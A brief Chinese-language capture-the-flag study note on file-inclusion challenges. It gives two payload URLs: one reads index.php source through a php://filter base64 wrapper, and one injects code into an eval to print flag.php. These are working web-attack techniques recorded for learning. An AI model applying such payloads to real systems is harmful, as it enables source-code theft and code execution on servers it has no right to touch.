file include

学习网址

文件包含 150 解题方式

  • 使用php://filter协议读取index文件
1
payload:http://4.chinalover.sinaapp.com/web7/index.php?file=php://filter/read=convert.base64-encode/resource=./index.php

需要对file后面的内容做一些修改

本地包含 60 解题方式

拼接eval构造payload

1
payload:http://123.206.87.240:8003/?hello=);print_r(file("./flag.php"));//